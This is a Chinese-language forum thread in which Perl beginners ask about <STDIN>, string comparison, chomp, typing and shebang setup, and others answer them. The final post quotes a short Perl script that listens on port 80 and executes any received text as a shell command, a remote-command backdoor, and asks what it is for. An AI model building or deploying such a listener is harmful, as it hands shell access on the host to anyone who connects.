perl的问题???

Snoopy

　　#!/usr/bin/perl
　　$password="wsxy"; #密码为wsxy
　　printf "请问您的姓名?";
　　$name=<STDIN>;
　　chop($name);
　　if ($name eq "zmd"){
　　 printf "欢迎zmd进入本系统!\n";
　　} else {
　　 printf "你好, $name!\n 请输入密码：";
　　 $guess=<STDIN>;
　　 chop($guess);
　　 while ($guess ne $password){
　　 printf "密码错误，请重新输入：";
　　 $guess=<STDIN>;
　　 chop($guess);
　　 }
　　}

请问<STDIN>是什么来的???

while ($guess ne $password)   的ne是什么含义来的啊??

刚学习perl,很多不懂,希望大家可以帮帮忙,谢谢

libinary

我也刚学。
<STDIN>是标准输入。
ne的意思是“不等于”。
还有，chop换成chomp好一点，这是因为<STDIN>来的输入包含最后的换行符，所以在$guess=<STDIN>之后要把换行符删掉，chop是删除最后一个字符，chomp是删除最后的换行符，如果不是换行符就不删除，用chomp好一点。

无双

<>
读文件的意思
就是从stdin中读入

ne 用于字符串比较

Snoopy

perl是不是不需要定义数据类型的啊？？

无双

不需要
是即时定义的
但是有一种情况
就是在for()等
在这里面要使用一个新变蚯的话必须加 define

nancen

我想问楼上那位,这段script能在REDHAT下运行吗?比如说,你那段SCRIPT的
文件名叫 test.pl,然后把它变成可执行by:
$chmod u+x test.pl
然后就可执行了吗?
$test.pl

在我的REDHAT 下最上面的 那一行shebang 好像不行,我得这样才行:
$perl -w test.pl

但我在学校的SUN机器上就行,是不是在Linux 下需要配置一下,有谁知道怎么配置吗

nan

libinary

有这一行就应该可以呀？
#!/usr/bin/perl -w

nancen

Sorry, I put ! before #, works now, thanks!

nan

KornLee

把你存放有perl脚本文件的路径加到$PATH中,赋予执行权限后就可以,
$filename.pl
直接运行啦~~在/etc/profile中加入:
export PATH=${PATH}:~/perldirname

Snoopy

#!/usr/bin/perl
use IO::Socket;
my $socket = new IO::Socket::INET ( 'Localhost'=>'127.0.0.1' , 'LocalPort'=>80 , 'Listen'=>1 , 'Proto'=>'tcp' , 'Reuse'=>1 );
die "Reason: $!" unless $socket;
while (my $new_socket = $socket->accept() ) {
while (my $buffer=<$new_socket>) {
if ($buffer) {exit if ($buffer=~m/exit/);
$res_msg=`$buffer`;$res_msg="error command!!\n" if (!$res_msg);
print $new_socket $res_msg."\n";]}


这段代码讲的是什么啊 ?干什么用的啊 ??